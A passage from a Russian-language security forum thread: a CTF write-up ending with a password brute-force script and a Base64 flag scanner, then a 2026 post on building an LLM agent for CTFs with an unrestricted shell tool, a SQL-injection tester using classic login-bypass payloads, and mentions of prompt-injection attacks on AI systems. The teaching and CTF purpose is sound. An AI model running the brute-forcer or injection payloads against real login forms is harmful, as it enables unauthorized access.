try_password
(
password
)
:
global
attempts
if
found_event
.
is_set
(
)
:
return
None
try
:
r
=
requests
.
post
(
URL
,
data
=
{
"password"
:
password
}
,
timeout
=
3
)
except
Exception
:
return
None
with
lock
:
attempts
+=
1
if
"access denied"
not
in
r
.
text
.
lower
(
)
:
found_event
.
set
(
)
return
password
,
r
.
text
return
None
def
status_printer
(
)
:
while
not
found_event
.
is_set
(
)
:
with
lock
:
count
=
attempts
elapsed
=
time
.
time
(
)
-
start_time
rate
=
count
/
elapsed
if
elapsed
else
0
print
(
f"\r[*] Attempts:{count}| Speed:{rate:.0f}req/s"
,
end
=
""
,
flush
=
True
)
time
.
sleep
(
0.5
)
threading
.
Thread
(
target
=
status_printer
,
daemon
=
True
)
.
start
(
)
with
ThreadPoolExecutor
(
max_workers
=
MAX_WORKERS
)
as
executor
:
futures
=
[
]
for
i
in
range
(
1_000_000
)
:
password
=
f"{i:06d}"
futures
.
append
(
executor
.
submit
(
try_password
,
password
)
)
for
future
in
as_completed
(
futures
)
:
result
=
future
.
result
(
)
if
result
:
pwd
,
response
=
result
print
(
"\n\n[+] PASSWORD FOUND!"
)
print
(
f"[+] password ={pwd}"
)
print
(
f"[+] server response:\n{response}"
)
break
5. Третья практика: «Lost Artifact»
Здесь условия CTF задачи следующие:
Задача 3. Lost Artifact
После инцидента на одном из серверов был получен дамп пользовательских данных. Данные представляют собой набор файлов различного формата и назначения. Предполагается, что атакующий оставил в системе артефакт, содержащий флаг, однако его точное расположение неизвестно.
Задача: проанализировать предоставленный набор файлов и найти флаг.
Формат флага: CTF{...}
Решение:
Начинаем с первичного осмотра предоставленного дампа, не пытаясь сразу что‑то угадать, просто оцениваем масштаб и структуру данных. Вывод tree показывает типичную для серверной системы файловую свалку, где несколько каталогов с разным назначением и десятки файлов внутри каждого из них.
Здесь сразу бросается в глаза объём. 86 файлов, распределённых по логам, кэшу, временным данным, бинарным блобам и пользовательским профилям. Ручной просмотр в таком масштабе быстро теряет смысл: большая часть этих файлов почти наверняка не содержит ничего интересного, но пропустить один важный артефакт очень легко.
Структура при этом выглядит понятно. Каталоги logs, cache, tmp и backups - это классический фон, который в реальных инцидентах обычно не несёт прямой полезной нагрузки. binaries и user_data выглядят потенциально интереснее, но и там данные разбиты на множество однотипных файлов, названия которых не дают никаких прямых подсказок.
Наш следующий логичный шаг состоит в том, чтобы понять, с чем вообще предстоит работать на уровне типов данных. Для этого без лишних раздумий используем file по всем файлам в дампе:
Команда сразу показывает, что лог‑файлы представляют собой обычный ASCII‑текст без сжатия, шифрования или бинарной обфускации.
Значится, что логи можно читать, грепать и анализировать стандартными средствами, не тратя время на предварительное декодирование. В контексте задачи это означает, что если атакующий действительно оставил след в логах, то он, скорее всего, будет либо в явном виде, либо спрятан среди служебных сообщений.
Однако даже здесь ручной просмотр не масштабируется. Тридцать лог‑файлов с однотипными названиями - это классическая ловушка для CTF плэера, вроде бы всё текстовое и понятное, но читать эти журналы по очереди чирьевато пропуском чего-то важного. Поэтому логи рассматриваются как первый кандидат на массовый автоматизированный поиск, чем мы займёмся чуть позже, а пока ещё поближе познакомимся с рабочей средой:
После беглого просмотра одного из логов становится понятно, с чем мы имеем дело. Файл app_1.log содержит ровно одну строку служебного сообщения вида [INFO] user login success id=… без деталей, без полезного контекста и без каких‑либо аномалий.
Чтобы убедиться, что это не единичный случай, выполняем поиск по всем логам:
Результат ожидаемо однообразный, каждый файл содержит однотипную запись с одинаковой структурой и разными идентификаторами пользователей. Никаких ошибок, отладочных сообщений, странных строк или следов посторонней активности не обнаружено.
На этом этапе директория логов исключается нами из дальнейшего осмотра.
Логи просто всегда проверяются в подобных задачах в числе первых, ведь это стандартная практика как в CTF, так и в реальных расследованиях. Здесь же они выполняют роль фонового шума, т.е. формально корректные, но информационно пустые записи, не содержащие ни флага, ни намёков на него.
Короче, двигаемся дальше, к более подозрительным частям дампа, где вероятность налутать артефакт значительно выше:
Смотрим хэши и бэкапы
Дальше логично проверить хэши, именно туда в реальных системах часто утекают временные артефакты или следы активности.
Просмотр типов файлов в каталоге cache показывает однородную картину, все объекты определяются утилитой file как абстрактные данные без сигнатур известных форматов.
Для быстрой проверки гипотезы о скрытом текстовом содержимом применяем strings:
Результат нам ничего не даёт, только набор случайных символов, короткие фрагменты без читаемых слов, структур или повторяющихся маркеров. Это типичное бинарное наполнение, имеем только кэш, или мусор, не предназначенный для прямого чтения человеком.
С практической точки зрения это позволяет уверенно исключить папку кэшей из подозрения. Даже если данные там имеют смысл для приложения, вероятность того, что флаг лежит в явном виде среди бинарного кэша, минимальна, а дальнейший анализ потребовал бы сурового реверса, что редко встречается в CTF, однако всё равно придётся лезть в бинарники, эту папку ещё не трогали.
Только сначала посмотрим бэкапы, хотя в них и редко можно что-то найти:
Формально присутствуют в структуре дампа, но оказываются пустым, как мы и подозревали.
Ну всё, последний шаг, перед тем как лезть в бинарные файлы и писать код, проведём максимально простой и дешёвый чек. Иногда флаг лежит в дампе в открытом виде, временных файлах или мб он случайно был забыт разработчиком. Поэтому осуществляем поиск строки CTF{ по всему каталогу:
Ответа не последовало, вот мы и нагрэпались…
Резюмируем ручные попытки найти флаг:
Он скорее всего скрыт как бинарник, скорее всего в папке bin, в ручную его искать, как иголку в стоге сена, бессмысленно.
Значит пишем сканирующий скрипт, который также будет декодить Base64, а только потом ловко искать CTF по всему дампу для уверенности:
Скрипт должен проходить по всему дампу, начиная с корневого каталога lost_artifact. Для этого используется os.walk, который гарантирует, что ни один файл, независимо от глубины вложенности, не будет пропущен. Это важно, потому что артефакт редко лежит на поверхности.
Все файлы открываются в бинарном режиме. Содержимое файлов читается построчно, но именно как байты.
Далее каждая строка сначала очищается от переводов строки и пробелов, после чего проверяется регулярным выражением. Нас интересуют только те фрагменты, которые похожи на Base64: допустимый алфавит, достаточная длина, отсутствие посторонних символов. Это сразу отсекает подавляющее большинство бинарного мусора и резко сокращает объём данных для анализа.
Если строка проходит эту проверку, предпринимается попытка строгого Base64‑декодирования с validate=True. Это ещё один фильтр, любые случайные совпадения по алфавиту, но не являющиеся реальным Base64, отбрасываются автоматически.
Уже после декодирования выполняется единственная целевая проверка, т.е. поиск декодированной строки CTF{.
При успешном совпадении скрипт сразу сообщает о находке, указывает путь к файлу и выводит декодированное содержимое.
Отдельно важно, что весь код обёрнут в обработку исключений. Любые ошибки чтения, битые файлы или неожиданные форматы не валят выполнение целиком, скрипт просто идёт дальше.
Запуск скрипта
Мдэм.
Пусть для вас это будет очередным напоминанием о том, что рабочую среду и инструменты нужно разделять. Бросил я этот скрипт прямо в дамп на автомате и по итогу он нашёл сам себя, как пёс, таки догнавший свой хвост.
Чиним и запускаем:
А флаг то, оказывается лежал в логах!!
Несмотря на то что каталог журналов был осмотрен нами вручную, и на первый взгляд не содержал ничего интересного, флаг в итоге там и оказался, аккуратно спрятанный в виде закодированного фрагмента внутри одного из файлов.
Это типичная ситуация как для CTF, так и для реальных расследований. Видимый анализ почти никогда не даёт прямого результата. Данные зачастую выглядят скучно, однотипно и чисто, а артефакт маскируется под обычный служебный шум. Без автоматизации скриптом на питончике такой файл легко пропустить, особенно когда десятки логов выглядят одинаково.
Именно здесь и оправдывает себя написанный скрипт. Он последовательно проверяет весь дамп, одинаково внимательно относясь и к логам, и к бинарникам, и к временным данным.
В результате флаг CTF{lost_artifact_found} извлекается корректно не благодаря удаче, а за счёт машинной точности, которая здесь и зарешала!
P.S. сам скрипт:
Python:
Код:
import
os
import
base64
import
re
ROOT_DIR
=
"lost_artifact"
b64_regex
=
re
.
compile
(
rb'^[A-Za-z0-9+/=]{20,}$'
)
def
try_base64_decode
(
data
)
:
try
:
decoded
=
base64
.
b64decode
(
data
,
validate
=
True
)
return
decoded
except
Exception
:
return
None
for
root
,
dirs
,
files
in
os
.
walk
(
ROOT_DIR
)
:
for
name
in
files
:
path
=
os
.
path
.
join
(
root
,
name
)
try
:
with
open
(
path
,
"rb"
)
as
f
:
for
line
in
f
:
line
=
line
.
strip
(
)
if
not
line
:
continue
if
not
b64_regex
.
match
(
line
)
:
continue
decoded
=
try_base64_decode
(
line
)
if
not
decoded
:
continue
if
b"CTF{"
in
decoded
:
print
(
"\n[+] FLAG FOUND!"
)
print
(
f"[+] File:{path}"
)
print
(
"[+] Decoded content:"
)
print
(
decoded
.
decode
(
errors
=
"replace"
)
)
except
Exception
:
continue
6. Как использовать такие скрипты в реальной работе?
В реальной работе такие скрипты почти никогда не существуют как одноразовые поделки. Наоборот, именно из них со временем складывается личный набор инструментов спеца.
Каждая подобная задача - это и есть заготовка для дальнейшей работы, крайне полезное занятие, в общем. В следующий раз поменяются входные данные, но логика остаётся той же, и вместо переписывания решения с нуля достаточно слегка допилить уже готовый код.
На практике, по моему мнению, эти скрипты лучше всего подходят для начальных этапов разведки или пост-эксплуатации, т.е. для пентеста и форензики.
Во время пентеста они позволяют быстро проверить гипотезы, как мы это делали в каждой из лаб. В форензике мы задействовали подходы для первичного просеивания дампов и логов, когда важно быстро выделить потенциально значимые артефакты из общей массы данных.
И в отличие от ручных действий, скрипт можно запустить повторно, приложить к отчёту или использовать спустя месяцы на схожем кейсе. Это превращает хаотичный анализ в процесс, который можно объяснить, проверить и масштабировать.
Короче, это вполне достойный рабочий подход, потому что видимый анализ почти никогда не даёт результат сразу, данные почти всегда спрятаны хитрее, чем кажется на первый взгляд. И именно поэтому автоматизация выступает, как базовое умение, что мы и поняли, проведя 3 практические работы.
7. Что это даёт Blue Team
Для Blue Team знание обращения с python скриптами даёт понимание того, какие ошибки усиливают риск компрометации системы. А напрямую из дэфэнсов применяются они, например, DFIRами (как в 3 лабе).
Давайте будем отталкиваться даже от моих лабораторных примеров.
В первой лабе мы видели, как простое XOR-кодирование с коротким ключом оказалось тривиально, потому что ключ был коротким и человекочитаемым. В реальной инфраструктуре защита должна быть серьёзной, криптографически стойкой и не поддаваться простому перебору или автоматизации, иначе аналогичные скрипты легко выдают содержимое даже без глубокого анализа ситуации атакующим.
В задаче с перебором пароля для внутреннего эндпоинта мы буквально заставили скрипт за десяток минут перебрать сто тысяч вариантов при скорости ~150 запросов/с.
Очевидно, что в любой среде такой доступ должен быть защищён как минимум элементарными лимитами количества попыток, капчами, двухфакторная аутентификациями и ограничениями по IP.
Вы, наверное, думаете, что эта задача тривиальная и уже большинством предприятий закрытая.
Действительно, брутфорсить фэйсбук юзеров, как в сериале "Мистер Робот" сейчас уже невозможно, однако в современной промышленности и инфраструктуре с безопасностью систем аутентификации до сих пор наблюдаются большие проблемы.
И проблемы эти, когда обнаруживаются недоброжелателями, стоят куда дороже, чем привычный пользовательский взлом соцсетей.
Например, В конце июля 2025 года была произведена масштабная кибератака на Аэрофлот.
Технические подробности полностью до конца не раскрыты официально, но известно, что злоумышленники находились внутри корпоративной сети в течение примерно года и получили доступ к ключевым системам, включая базы данных, CRM и служебные серверы, после чего выгрузили порядка 22 ТБ информации и уничтожили около 7 000 физических и виртуальных серверов. Им это удалость благодаря использованию аэрофлотом уязвимого и устаревшего Windows XP и слабым паролям внутри системы, которые по словам хакеров не обновлялись с 2022 года.
Пароли, кто-знает, может и просто забрутфорсили, учитывая обнаруженные бреши в безопасности авиакомпании, можно допустить и такую теорию. Но глобально я описал этот кейс для вас чтобы выработать понимания того, что настоящая атака имеет куда больше уровней, чем учебное задание, не всё бьётся в перебор паролей, хотя и этот приём на практике может часто встречаться.
//Нашёл для вас подробный технический разбор, если стало интересно:
Разбор взлома «Аэрофлота» с точки зрения ИТ-систем — журнал «Код»
Разбираем первые сообщения о взломе «Аэрофлота», то, какие ИТ-системы могли быть затронуты и ситуацию в аэропортах.
thecode.media
В итоге, ~60 рейсов были отменены или задержаны, как внутренние, так и международные.
Это серьёзно нарушило работу аэропорта Шереметьево и других узлов перевозчика.
Экономический урон для компании также оказался значительным, помимо прямых потерь из-за отмен и задержек рейсов, оценочных затрат на восстановление систем и потерь выручки, эксперты называют сотни миллионов рублей ущерба, учитывая сбои в операциях и репутационные потери бизнеса.
Можно сделать вывод, что Blue Team важно думать не только о сложных угрозах, но и об элементарных защитных практиках по отдельности, чтобы атакующие не могли автоматизировать их на лету. Ведь, вероятно, без подобранного пароля, хакеры бы не увели столько чувствительных данных об авиакомпании.
А скрипты вроде тех, что я писал в рамках статьи легко масштабируются и видоизменяются, они подходят как для CTF, так и для проверки реальных сервисов на слабые места, т.е. такой скрипт в руках пентестера, вероятно, мог бы частично предотвратить атаку, если пофантазировать.
Ну важно тоже понимать, что я приводил упрощённые задачи для автоматизации, это учебный материал, в реальности таски куда сложнее и скрипты выглядят страшнее, однако не бойтесь вникать в эту тему, знания такого характера получать интересно, а их применение высокооплачиваемо!
8. Заключение
Тема python скриптов на самом деле очень жизненная и вы это поймёте на практике. Пока данных мало, можно что-то поискать руками, погрепать, открыть файлик, прикинуть на глаз. Но как только появляется объём, шум и куча однотипных артефактов, то ручной анализ превращается в бессмысленное залипание в терминал.
Скрипты здесь решают задачу по недопущению пропуск важной информации. Машине всё равно, сколько файлов, строк или попыток, она просто делает работу. А юзер в это время думает, куда копать дальше, а не проверяет сотый файл подряд. В третьей лабе это особенно хорошо видно, ведь логи были просмотрены вручную, выводы сделаны корректные, но флаг всё равно оказался там, просто в закодированном виде. Без автоматизации его можно было бы не увидеть вообще.
Спасибо за внимание и удачи в построении автоматизации!
|
|
|

02.04.2026, 23:12
|
|
Новичок
Регистрация: 14.08.2015
Сообщений: 0
С нами:
5656404
Репутация:
0
|
|
Последние два года я собирал солверы для CTF на pwntools и angr - ручная работа, скрипт за скриптом. А потом на одном университетском CTF LLM-агент набрал больше очков, чем большинство студенческих команд. Не потому что задания были простые. Потому что агент действовал быстрее, не уставал и не зависал эмоционально после трёх часов без прогресса. Разберу, как AI-агенты устроены изнутри, где они реально обгоняют людей, где проваливаются - и как собрать своего CTF-агента на Python уже сейчас.
Что вообще такое AI-агент для CTF и чем он отличается от «спросить ChatGPT»
Когда говорят «LLM хакинг CTF», обычно представляют чат с GPT, куда вставляют условие задачи. Это не агент. Агент - автономная система: получает задачу, сама решает, какой инструмент дёрнуть, выполняет команду, читает вывод и принимает следующее решение. Цикл крутится, пока флаг не найден или не исчерпан лимит итераций. Подробнее - в нашем подробном разборе безопасность LLM и атаки на языковые модели.
Разница принципиальная. Человек, копирующий вывод из терминала в чат и обратно - человек с ассистентом. Агент - замкнутый цикл: Observe → Think → Act → Observe. Без участия человека между шагами.
По данным исследования «Understanding Human-AI Collaboration in Cybersecurity Competitions» (arxiv, 2025), агенты, работающие автономно на живом университетском CTF, обошли по очкам большинство студенческих команд. Но дьявол в деталях - речь об участниках начального и среднего уровня. Топ-команды агентов всё ещё обгоняли.
Архитектура CTF-солвера на базе LLM: что внутри
Агентный цикл (Agent Loop)
Стандартная архитектура CTF-агента строится вокруг трёх компонентов: - LLM-ядро - языковая модель (GPT-4, Claude, открытые модели через Ollama), которая принимает решения
- Набор инструментов (tools) - обёртки над реальными утилитами: запуск shell-команд, работа с файлами, отправка HTTP-запросов, взаимодействие с бинарниками через pwntools
- Память и контекст - промежуточные результаты, которые агент накапливает между итерациями
Цикл выглядит так:
Код:
Код:
[Задание CTF] → LLM анализирует → выбирает tool → выполняет команду
↑ ↓
└──────────── читает stdout/stderr ←────────────────┘
В упомянутом исследовании для экспериментов использовался CTFriend - специально спроектированный агент с поддержкой нескольких LLM-бэкендов и интеграцией стандартных CTF-инструментов. Агент получал описание задачи, файлы и доступ к shell-окружению.
Минимальный стек для CTF-агента
Вот что реально нужно, чтобы агент мог решать задачи категорий web, crypto и forensics:
ВНИМАНИЕ: запускайте агента ТОЛЬКО в изолированной среде (Docker-контейнер, VM). Агент имеет неограниченный доступ к shell и может выполнить деструктивные команды. LLM подвержены prompt injection (OWASP LLM Top 10 - LLM01), и злонамеренное задание CTF может заставить агента выполнить произвольный код на хост-машине. Используйте nsjail, firejail или Docker с ограниченными capabilities.
Python:
Код:
# Пример концептуальной архитектуры CTF-агента
# Демонстрация принципа - не production-код
# Запускать ТОЛЬКО в изолированном окружении (Docker/VM)
from
langchain
.
agents
import
initialize_agent
,
Tool
from
langchain
.
chat_models
import
ChatOpenAI
import
subprocess
def
run_shell
(
command
:
str
)
-
>
str
:
"""Выполняет shell-команду и возвращает вывод"""
try
:
result
=
subprocess
.
run
(
command
,
shell
=
True
,
capture_output
=
True
,
text
=
True
,
timeout
=
30
)
return
result
.
stdout
+
result
.
stderr
except
subprocess
.
TimeoutExpired
:
return
"TIMEOUT: команда выполнялась дольше 30 секунд"
def
analyze_binary
(
filepath
:
str
)
-
>
str
:
"""Базовый анализ бинарника через file + strings"""
info
=
run_shell
(
f"file{filepath}"
)
strings_out
=
run_shell
(
f"strings{filepath}| head -50"
)
checksec
=
run_shell
(
f"checksec --file={filepath}"
)
return
f"File info:\n{info}\nStrings:\n{strings_out}\nChecksec:\n{checksec}"
tools
=
[
Tool
(
name
=
"shell"
,
func
=
run_shell
,
description
=
"Выполняет shell-команду. Используй для nmap, curl, python-скриптов"
)
,
Tool
(
name
=
"analyze_binary"
,
func
=
analyze_binary
,
description
=
"Анализ бинарного файла: тип, строки, защиты"
)
,
]
llm
=
ChatOpenAI
(
model
=
"gpt-4"
,
temperature
=
0
)
agent
=
initialize_agent
(
tools
,
llm
,
agent
=
"zero-shot-react-description"
,
verbose
=
True
,
max_iterations
=
25
# лимит на число шагов
)
# Запуск на задаче
agent
.
run
(
"""
CTF Challenge: Web exploitation
URL: http://target:8080
Description: Simple login form. Find the flag.
Hint: The developer left something in the source code.
"""
)
Это демонстрация концепции. В боевом агенте добавляются: парсинг файлов задания, автоматическое определение категории, специализированные инструменты для каждой категории (pwntools для pwn, z3/sage для crypto) и механизм отката при тупике.
Агенты побеждают большинство студентов: данные исследований
Самый интересный кусок из свежих исследований - раздел «Agents beat most humans» из работы «Understanding Human-AI Collaboration in Cybersecurity Competitions». Эксперимент проводился на живом университетском CTF, где автономные AI-агенты соревновались параллельно с человеческими командами. Контекст: участники - студенты начального и среднего уровня, не профессиональные CTF-игроки.
Что показали результаты
Агенты уверенно обходили по очкам большинство студенческих команд. Не все - но большинство. Топ-команды с опытными участниками сохраняли преимущество. Результаты зависели от сложности: - На простых задачах (easy/medium) агенты решали быстрее и стабильнее, чем средний участник
- На сложных задачах (hard) человеческие топ-команды сохраняли преимущество, а агенты чаще зависали в циклах бесплодных попыток
Другая работа с arxiv - «The World's Top AI Agent for Security Capture-the-Flag» - формулирует это точно: доминирование в CTF - узкая оптимизация. Системы, натренированные на захват флагов, преуспевают в сопоставлении паттернов и эксплуатации известных уязвимостей. Это не универсальный интеллект хакера. Это grep с логикой - и я считаю, что это определение стоит запомнить.
Почему агенты быстрее на стандартных задачах
CTF автоматизация работает, потому что огромная часть задач начального и среднего уровня - комбинации известных техник: - SQL-инъекция в форме логина → агент сразу пробует
и варианты
- Base64-закодированный флаг в cookies → мгновенное распознавание и декодирование
- Классический buffer overflow с NX disabled → шаблонный ret2shellcode
AI-агент для CTF не изобретает атаку. Он перебирает паттерны из обучающих данных (включая тысячи CTF-райтапов) со скоростью, недоступной человеку. Проект CRAKEN (OpenReview) создал открытый датасет CTF-райтапов с реальными процедурами обнаружения уязвимостей, реализации эксплойтов и attack payloads - именно такие данные питают knowledge base агентов.
Где AI-агенты проваливаются: анализ неудач
В том же исследовании есть Appendix F - «Agent failure reason analysis». Из моего опыта возни с LLM-агентами через LangChain и AutoGPT-подобные фреймворки, а также по данным исследований, вот основные категории провалов.
Зацикливание (Loop Traps)
Агент пробует одну и ту же технику с минимальными вариациями и не может распознать, что подход принципиально неверный. Лично наблюдал, как на задаче с кастомным шифрованием агент 20 итераций подряд долбил стандартными крипто-атаками, вместо того чтобы просто прочитать исходный код шифра. Как человек, который ищет ключи под фонарём, потому что там светлее.
Многоступенчатая логика
Задача, требующая последовательной эксплуатации 3-4 разных уязвимостей (SSRF → file read → password leak → RCE), ломает агента. Каждый отдельный шаг он может выполнить, но удержать в контексте всю цепочку и принять решение о переходе к следующему этапу - тут LLM теряет нить. Контекстное окно вроде бы большое, а толку мало.
Нестандартные бинарники
В обсуждении на Reddit про применение LLM для решения CTF показательный вывод: попытки автоматической эксплуатации бинарных уязвимостей были полностью безуспешны, как и пост-эксплуатация для закрепления доступа. Pwn-категория остаётся крепостью людей - особенно задачи с нестандартными аллокаторами, kernel exploitation и race conditions.
Задачи на творческое мышление
Если таск требует «догадаться», что файл - это на самом деле перевёрнутая BMP-картинка с XOR-шифрованием по ключу из названия задания - агент проиграет. У него нет интуиции. Он не считывает «вайб» задания. Grep с логикой, и точка.
Практика: собираем CTF-агента за 30 минут
Пошаговая инструкция для сборки минимального, но рабочего CTF-агента. Проверено на задачах категории web и misc.
Весь код ниже предназначен для запуска ТОЛЬКО в изолированной среде. Минимум - Docker-контейнер без доступа к хост-сети и файловой системе. Dockerfile приведён после инструкции.
Шаг 1: Окружение
Bash:
Код:
# Создаём изолированную среду
python3 -m venv ctf-agent
source
ctf-agent/bin/activate
# Основные зависимости (актуально для LangChain 0.2+)
pip
install
langchain langchain-openai langchain-community pwntools requests beautifulsoup4
# CTF-инструменты (должны быть в системе)
# apt install nmap gobuster binwalk foremost steghide
Шаг 2: Определяем инструменты агента
Python:
Код:
# tools.py - обёртки над CTF-утилитами
# Пример для демонстрации концепции
# ЗАПУСКАТЬ ТОЛЬКО В ИЗОЛИРОВАННОЙ СРЕДЕ (Docker/VM)
import
subprocess
def
run_shell
(
command
:
str
)
-
>
str
:
"""Выполняет shell-команду и возвращает вывод"""
try
:
result
=
subprocess
.
run
(
command
,
shell
=
True
,
capture_output
=
True
,
text
=
True
,
timeout
=
30
)
return
result
.
stdout
+
result
.
stderr
except
subprocess
.
TimeoutExpired
:
return
"TIMEOUT: команда выполнялась дольше 30 секунд"
def
web_recon
(
url
:
str
)
-
>
str
:
"""Разведка веб-приложения"""
results
=
[
]
# Получаем заголовки
try
:
import
requests
resp
=
requests
.
get
(
url
,
timeout
=
10
)
results
.
append
(
f"Status:{resp.status_code}"
)
results
.
append
(
f"Headers:{dict(resp.headers)}"
)
results
.
append
(
f"Body length:{len(resp.text)}"
)
# Ищем подозрительное в HTML
if
'flag'
in
resp
.
text
.
lower
(
)
:
results
.
append
(
f"[!] 'flag' found in response body"
)
if
''
,
resp
.
text
,
re
.
DOTALL
)
results
.
append
(
f"HTML comments:{comments}"
)
except
Exception
as
e
:
results
.
append
(
f"Error:{e}"
)
return
"\n"
.
join
(
results
)
def
try_sqli
(
url
:
str
,
param
:
str
=
"username"
)
-
>
str
:
"""Пробует базовые SQL-инъекции"""
payloads
=
[
"' OR '1'='1"
,
"' OR 1=1--"
,
"admin'--"
,
"' UNION SELECT null,null--"
]
results
=
[
]
import
requests
for
payload
in
payloads
:
try
:
resp
=
requests
.
post
(
url
,
data
=
{
param
:
payload
,
"password"
:
"x"
}
,
timeout
=
10
)
if
len
(
resp
.
text
)
>
500
or
'flag'
in
resp
.
text
.
lower
(
)
or
'welcome'
in
resp
.
text
.
lower
(
)
:
results
.
append
(
f"[!] Interesting response with payload:{payload}"
)
results
.
append
(
f" Response snippet:{resp.text[:300]}"
)
except
:
pass
return
"\n"
.
join
(
results
)
if
results
else
"No SQLi found with basic payloads"
Примечание: pwntools не импортируется в tools.py, так как здесь определены только web-инструменты. Для pwn-задач лучше создать отдельный модуль
с
- pwntools при импорте перехватывает argv и меняет поведение logging, что конфликтует с остальным кодом.
Шаг 3: Промпт агента - самая важная часть
Python:
Код:
# agent_prompt.py
SYSTEM_PROMPT
=
"""Ты - опытный CTF-игрок. Твоя задача - найти флаг.
СТРАТЕГИЯ:
1. Сначала разведка: изучи что дано, определи категорию задачи
2. Для web: проверь исходный код, cookies, заголовки, скрытые пути
3. Для crypto: определи алгоритм, ищи слабости в реализации
4. Для forensics: проверь метаданные, binwalk, strings
5. Для misc: думай нестандартно, проверяй encoding
ПРАВИЛА:
- Каждый шаг объясняй КРАТКО: что делаешь и зачем
- Если подход не работает 3 попытки подряд - СМЕНИ СТРАТЕГИЮ
- Флаг обычно в формате flag{...} или CTF{...}
- Не пытайся брутфорсить - это CTF, тут думать надо
Когда найдёшь флаг, ответь: FOUND FLAG:
"""
Шаг 4: Запуск и тестирование
Python:
Код:
# solve.py - точка входа
# Импорты для LangChain 0.2+ (актуальный API)
from
langchain
.
agents
import
initialize_agent
,
Tool
from
langchain_openai
import
ChatOpenAI
from
tools
import
web_recon
,
try_sqli
,
run_shell
tools
=
[
Tool
(
"web_recon"
,
web_recon
,
"Разведка веб-приложения по URL"
)
,
Tool
(
"sqli_test"
,
try_sqli
,
"Тест SQL-инъекций на URL"
)
,
Tool
(
"shell"
,
run_shell
,
"Выполнение произвольной shell-команды"
)
,
]
agent
=
initialize_agent
(
tools
,
ChatOpenAI
(
model
=
"gpt-4"
,
temperature
=
0
)
,
agent
=
"zero-shot-react-description"
,
verbose
=
True
,
max_iterations
=
20
,
handle_parsing_errors
=
True
,
)
# Пример запуска на web-таске
result
=
agent
.
run
(
"""
Challenge: Baby Web
Category: Web
URL: http://ctf.example.com:5000/login
Description: Can you login as admin?
Files: None
"""
)
print
(
result
)
Примечание:
помечен как deprecated в LangChain 0.2+ в пользу
и LangGraph. Для боевого использования рекомендуется миграция - см. LangChain migration guide. Приведённый код работает, но при обновлении LangChain может потребовать адаптации.
Dockerfile для изолированного запуска
Код:
Код:
FROM python:3.11-slim
RUN apt-get update && apt-get install -y \
nmap binwalk foremost steghide \
&& rm -rf /var/lib/apt/lists/*
RUN useradd -m ctfagent
WORKDIR /home/ctfagent
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY tools.py agent_prompt.py solve.py ./
USER ctfagent
CMD ["python", "solve.py"]
На простых web-задачах вроде «найди флаг в комментариях HTML» или «SQL-инъекция в форме логина» такой агент справляется за 2-5 итераций. На чём-то серьёзнее - начинает буксовать, и тут вступает человек.
Парный хакинг: человек + AI как суперкоманда
Исследование на arxiv выделяет отдельный феномен - «the power of pair hacking». Не автономный агент и не человек с чатботом. Симбиоз, где каждый делает то, что умеет лучше.
Как это работает на практике
Мой workflow на последних CTF: - Первые 5 минут задачи - AI. Агент делает разведку, собирает артефакты, пробует стандартные подходы. Я в это время читаю описание и думаю.
- Если агент решил - отлично. Следующая задача. Это работает для 30-40% тасков начального уровня.
- Если застрял - беру управление. Читаю его лог, часто нахожу зацепку, которую агент не смог развить. Например, он нашёл необычный заголовок в HTTP-ответе, но не понял, что это hint на конкретную CVE.
- Формулирую гипотезу - отдаю обратно. «Попробуй SSTI через Jinja2 в параметре name» - и агент быстро перебирает payload'ы, пока я думаю над следующей задачей.
Этот подход описан в исследовании как наиболее результативный: команды «человек + AI» показывали результаты лучше, чем чисто человеческие команды сопоставимого уровня. Автоматизированный пентест AI не заменяет думающего человека - он убирает рутину.
Конкретные категории: где какой подход
КатегорияAI автономноЧеловек + AIТолько человекWeb (easy)Да--Web (hard, multi-step)НетДаДаCrypto (стандартные)ЧастичноДаДаCr ypto (кастомные)НетЧастичноДаPwn (stack overflow)Нет*ДаДаPwn (heap, kernel)НетНетДаForensicsЧастичноД аДаMisc/GuessingНетНетДаRev (simple)ЧастичноДаДаRev (obfuscated)НетЧастичноДа
Даже простые pwn-задачи (stack overflow) требуют многоступенчатой логики - определение offset, анализ защит, построение ROP-цепочки - а это слабое место агентов. По данным обсуждений и исследований, автоматическая эксплуатация бинарных уязвимостей остаётся полностью безуспешной для текущих LLM-агентов.
AI-платформы для тренировки offensive-навыков
Отдельная история - CTF-соревнования, где целью является атака на саму AI-систему. Платформа Agent 0DIN (0din.ai) предлагает геймифицированный CTF для взлома AI-систем, где участники тренируют: - Prompt injection chaining - цепочки инъекций в промпты
- Role confusion attacks - атаки на ролевые модели
- Authority escalation - повышение привилегий в контексте GenAI
Зеркальная сторона медали: пока одни строят AI-агентов для атаки, другие учатся атаковать сами AI-системы. Оба навыка скоро станут обязательными для любого offensive-специалиста.
На российском рынке AI CTF-ивенты пока фокусируются на другом - задачи, связанные с ML-пайплайнами, атаками на модели и манипуляцией данными (как на Positive Hack Days). Полезно, но автоматизацию наступательных операций не покрывает.
Будущее автоматизированного хакинга: три горизонта
Горизонт 1: текущий год - агенты-ассистенты
AI red team инструменты уже используются на реальных пентестах как ассистенты. Автоматический поиск уязвимостей через LLM-агентов работает для типовых задач: SQL-инъекции, XSS, directory traversal, простые misconfigurations. По уровню - junior пентестер, который пашет 24/7 без перерывов и не просит отпуск.
Горизонт 2: 2-3 года - специализированные агенты
Проекты вроде CRAKEN (открытый датасет CTF-райтапов с процедурами обнаружения уязвимостей и реализации эксплойтов) создают knowledge base для следующего поколения. Ожидаю появление LLM-агентов, заточенных под конкретные категории: - Web-agent с интеграцией Burp Suite и знанием OWASP Top 10
- Pwn-agent с pwntools + символьное выполнение через angr
- Crypto-agent с SageMath и библиотекой известных атак
Команда Shellphish и проект Mayhem от ForAllSecure уже годами работают на стыке символьного выполнения и фаззинга - прикрутить LLM-оркестратор поверх этого стека выглядит логичным следующим шагом.
Горизонт 3: 5+ лет - автономный наступательный AI
Это спекуляция, но траектория понятна. Если агент уже побеждает большинство студенческих команд на университетском CTF, через несколько поколений моделей и инструментов он будет конкурентоспособен на уровне DEF CON Finals. Вопрос не «если», а «когда» и «как это регулировать».
Для нас, CTF-игроков, из этого следует одно: навыки, которые невозможно автоматизировать - креативность, нестандартное мышление, понимание контекста - становятся главным конкурентным преимуществом. Человек, который умеет и думать, и управлять AI-агентом, будет доминировать и на соревнованиях, и на реальных пентестах. Подробнее о карьерных перспективах в этой области - в материале про карьеру в red team.
Что делать прямо сейчас
